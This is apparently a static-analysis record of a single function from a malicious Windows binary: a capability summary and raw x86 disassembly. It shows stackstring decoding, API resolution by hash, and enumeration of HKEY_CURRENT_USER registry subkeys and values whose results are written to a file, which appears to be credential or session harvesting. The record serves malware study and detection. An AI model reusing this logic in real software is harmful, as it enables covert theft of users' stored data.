Function at 0x40f285
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5dc
push ebx
push esi
push edi
push 0x56
pop eax
xor ebx, ebx
mov byte [ebp - 0x12], al
mov dword [ebp - 0x11], 0x78754962
mov ecx, ebx
mov word [ebp - 0xd], 0x4c6b
mov byte [ebp - 0xb], 0x5a
mov byte [ebp - 0xa], al
mov dword [ebp - 9], 0x7a7e7a34
mov byte [ebp - 5], bl
movsx eax, al
and eax, 0x8000000f
jns 0x40f2c8
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x11], al
inc ecx
cmp ecx, 0xc
jae 0x40f2d7
mov al, byte [ebp - 0x12]
jmp 0x40f2b9
lea eax, [ebp - 0x11]
mov byte [ebp - 5], bl
push eax
mov edx, 0x41e7d0
lea ecx, [ebp - 0xd8]
call fcn.004026c8
xor eax, eax
lea edi, [ebp - 0x70]
stosd dword es:[edi], eax
mov edx, 0xe4c0d971
pop ecx
push 4
pop esi
stosd dword es:[edi], eax
mov ecx, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], bl
call fcn.00404bfc
movaps xmm0, xmmword [str.p_6_1_5_6__]
mov edx, eax
movups xmmword [ebp - 0x90], xmm0
mov ecx, ebx
movaps xmm0, xmmword [0x41aea0]
movups xmmword [ebp - 0x80], xmm0
mov al, byte [ebp - 0x90]
xor byte [ebp + ecx - 0x8f], al
inc ecx
cmp ecx, 0x1e
jb 0x40f331
lea eax, [ebp - 0x58]
mov byte [ebp - 0x71], bl
push eax
lea eax, [ebp - 0x8f]
push eax
push 0x80000001
call edx
test eax, eax
jne 0x40f8d2
mov edx, 0x74d881a2
mov ecx, esi
mov edi, ebx
call fcn.00404bfc
push 0x100
lea ecx, [ebp - 0x1d8]
push ecx
push ebx
jmp 0x40f84a
test eax, eax
jne 0x40f830
mov edx, 0xe4c0d971
mov ecx, esi
call fcn.00404bfc
lea ecx, [ebp - 0x38]
push ecx
lea ecx, [ebp - 0x1d8]
push ecx
push dword [ebp - 0x58]
call eax
test eax, eax
jne 0x40f830
mov edx, 0x77739979
mov dword [ebp - 0x1c], 0x100
mov ecx, esi
call fcn.00404bfc
mov esi, eax
mov dword [ebp - 0x22], 0x78744d25
mov dl, 0x25
mov word [ebp - 0x1e], 0x79
mov ecx, ebx
movsx eax, dl
and eax, 0x8000000f
jns 0x40f3e2
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 4
jae 0x40f3f1
mov dl, byte [ebp - 0x22]
jmp 0x40f3d3
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x1d], bl
push eax
lea eax, [ebp - 0x2d8]
push eax
push ebx
push ebx
lea eax, [ebp - 0x21]
push eax
push dword [ebp - 0x38]
call esi
test eax, eax
jne 0x40f4bf
mov al, 0x51
mov byte [ebp - 0x3b], 0x5b
xor al, 0x5b
mov byte [ebp - 0x39], bl
mov byte [ebp - 0x3a], al
lea ecx, [ebp - 0x88]
lea eax, [ebp - 0x2d8]
push eax
call fcn.00401a09
mov esi, eax
mov dword [ebp - 0x4c], 0x79754e36
mov dl, 0x36
mov dword [ebp - 0x48], 0x26407a
mov ecx, ebx
movsx eax, dl
and eax, 0x8000000f
jns 0x40f455
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x4b], al
inc ecx
cmp ecx, 6
jae 0x40f464
mov dl, byte [ebp - 0x4c]
jmp 0x40f446
push esi
lea edx, [ebp - 0x4b]
mov byte [ebp - 0x45], bl
lea ecx, [ebp - 0xc0]
call fcn.00409d5a
lea ecx, [ebp - 0x3a]
mov edx, eax
push ecx
lea ecx, [ebp - 0xa8]
call fcn.00404203
pop ecx
pop ecx
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x40f494
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040266f
lea ecx, [ebp - 0xa8]
call fcn.00401a42
lea ecx, [ebp - 0xc0]
call fcn.00401a42
lea ecx, [ebp - 0x88]
call fcn.00401a42
push 4
mov edx, 0x77739979
mov dword [ebp - 0x1c], 0x100
pop ecx
call fcn.00404bfc
mov esi, eax
mov dword [ebp - 0x28], 0x707e605b
mov dl, 0x5b
mov word [ebp - 0x24], 0x7d
mov ecx, ebx
movsx eax, dl
and eax, 0x8000000f
jns 0x40f4f5
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 4
jae 0x40f504
mov dl, byte [ebp - 0x28]
jmp 0x40f4e6
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x23], bl
push eax
lea eax, [ebp - 0x3d8]
push eax
push ebx
push ebx
lea eax, [ebp - 0x27]
push eax
push dword [ebp - 0x38]
call esi
test eax, eax
jne 0x40f5c3
mov al, 0x1d
mov byte [ebp - 0x3e], 0x17
xor al, 0x17
mov byte [ebp - 0x3c], bl
mov byte [ebp - 0x3d], al
lea ecx, [ebp - 0xa8]
lea eax, [ebp - 0x3d8]
push eax
call fcn.00401a09
mov edx, eax
mov dword [ebp - 0x54], 0x796f491c
mov cl, 0x1c
mov dword [ebp - 0x50], 0x3c266e
mov eax, ebx
xor byte [ebp + eax - 0x53], cl
inc eax
cmp eax, 6
jae 0x40f568
mov cl, byte [ebp - 0x54]
jmp 0x40f559
push edx
lea edx, [ebp - 0x53]
mov byte [ebp - 0x4d], bl
lea ecx, [ebp - 0xc0]
call fcn.00409d5a
lea ecx, [ebp - 0x3d]
mov edx, eax
push ecx
lea ecx, [ebp - 0x88]
call fcn.00404203
pop ecx
pop ecx
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x40f598
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040266f
lea ecx, [ebp - 0x88]
call fcn.00401a42
lea ecx, [ebp - 0xc0]
call fcn.00401a42
lea ecx, [ebp - 0xa8]
call fcn.00401a42
push 4
mov edx, 0x77739979
mov dword [ebp - 0x1c], 0x100
pop ecx
call fcn.00404bfc
mov esi, eax
mov dword [ebp - 0x2e], 0x796d5a5c
mov dl, 0x5c
mov word [ebp - 0x2a], 0x71
mov ecx, ebx
movsx eax, dl
and eax, 0x8000000f
jns 0x40f5f9
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 4
jae 0x40f608
mov dl, byte [ebp - 0x2e]
jmp 0x40f5ea
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x29], bl
push eax
lea eax, [ebp - 0x4d8]
push eax
push ebx
push ebx
lea eax, [ebp - 0x2d]
push eax
push dword [ebp - 0x38]
call esi
test eax, eax
jne 0x40f6c8
mov cl, 0x1f
mov byte [ebp - 0x3f], bl
mov al, 0x15
mov byte [ebp - 0x41], cl
xor al, cl
lea ecx, [ebp - 0xa8]
mov byte [ebp - 0x40], al
lea eax, [ebp - 0x4d8]
push eax
call fcn.00401a09
mov edx, eax
mov dword [ebp - 0xc], 0x262a054b
mov cl, 0x4b
mov dword [ebp - 8], 0x6b712e
mov eax, ebx
xor byte [ebp + eax - 0xb], cl
inc eax
cmp eax, 6
jae 0x40f66d
mov cl, byte [ebp - 0xc]
jmp 0x40f65e
push edx
lea edx, [ebp - 0xb]
mov byte [ebp - 5], bl
lea ecx, [ebp - 0xc0]
call fcn.00409d5a
lea ecx, [ebp - 0x40]
mov edx, eax
push ecx
lea ecx, [ebp - 0x88]
call fcn.00404203
pop ecx
pop ecx
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x40f69d
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040266f
lea ecx, [ebp - 0x88]
call fcn.00401a42
lea ecx, [ebp - 0xc0]
call fcn.00401a42
lea ecx, [ebp - 0xa8]
call fcn.00401a42
push 4
mov edx, 0x77739979
mov dword [ebp - 0x1c], 0x100
pop ecx
call fcn.00404bfc
mov esi, eax
mov dword [ebp - 0x16], 0x575060
mov dl, 0x60
mov ecx, ebx
movsx eax, dl
and eax, 0x8000000f
jns 0x40f6f8
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x15], al
inc ecx
cmp ecx, 2
jae 0x40f707
mov dl, byte [ebp - 0x16]
jmp 0x40f6e9
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x13], bl
push eax
lea eax, [ebp - 0x5d8]
push eax
push ebx
push ebx
lea eax, [ebp - 0x15]
push eax
push dword [ebp - 0x38]
call esi
test eax, eax
jne 0x40f7d4
mov al, 0x36
mov byte [ebp - 0x44], 0x3c
xor al, 0x3c
mov byte [ebp - 0x42], bl
mov byte [ebp - 0x43], al
lea ecx, [ebp - 0xa8]
lea eax, [ebp - 0x5d8]
push eax
call fcn.00401a09
mov esi, eax
mov dword [ebp - 0x34], 0x3d5a5343
mov dl, 0x43
mov word [ebp - 0x30], 0x23
mov ecx, ebx
movsx eax, dl
and eax, 0x8000000f
jns 0x40f76a
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 4
jae 0x40f779
mov dl, byte [ebp - 0x34]
jmp 0x40f75b
push esi
lea edx, [ebp - 0x33]
mov byte [ebp - 0x2f], bl
lea ecx, [ebp - 0xc0]
call fcn.00409d5a
lea ecx, [ebp - 0x43]
mov edx, eax
push ecx
lea ecx, [ebp - 0x88]
call fcn.00404203
pop ecx
pop ecx
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x40f7a9
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040266f
lea ecx, [ebp - 0x88]
call fcn.00401a42
lea ecx, [ebp - 0xc0]
call fcn.00401a42
lea ecx, [ebp - 0xa8]
call fcn.00401a42
mov al, 0x3d
mov dword [ebp - 4], 0x171a3d
mov ecx, ebx
movsx eax, al
and eax, 0x8000000f
jns 0x40f7ee
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 3], al
inc ecx
cmp ecx, 2
jae 0x40f7fd
mov al, byte [ebp - 4]
jmp 0x40f7df
lea ecx, [ebp - 3]
mov byte [ebp - 1], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f806
sub ecx, edx
lea eax, [ebp - 3]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040266f
push 4
pop esi
mov edx, 0x59b26164
mov ecx, esi
call fcn.00404bfc
push dword [ebp - 0x38]
call eax
mov edx, 0x74d881a2
mov ecx, esi
inc edi
call fcn.00404bfc
push 0x100
lea ecx, [ebp - 0x1d8]
push ecx
push edi
push dword [ebp - 0x58]
call eax
cmp eax, 0x103
jne 0x40f381
mov edx, 0x59b26164
mov ecx, esi
call fcn.00404bfc
push dword [ebp - 0x58]
call eax
mov edx, 0x58f0d8cc
xor ecx, ecx
call fcn.00404bfc
cmp dword [ebp - 0xc4], 0xf
lea ecx, [ebp - 0xd8]
push ebx
cmova ecx, dword [ebp - 0xd8]
push 0x80
push esi
push ebx
push 2
push esi
push ecx
call eax
mov esi, eax
cmp esi, 0xffffffff
je 0x40f8d2
mov edx, 0x36dc45ef
xor ecx, ecx
call fcn.00404bfc
cmp dword [ebp - 0x5c], 0xf
lea edx, [ebp - 0x38]
push ebx
push edx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x70]
cmova ecx, dword [ebp - 0x70]
push ecx
push esi
call eax
mov edx, 0x6e34153e
xor ecx, ecx
call fcn.00404bfc
push esi
call eax
lea ecx, [ebp - 0x70]
call fcn.00401a42
lea ecx, [ebp - 0xd8]
call fcn.00401a42
pop edi
pop esi
pop ebx
leave
ret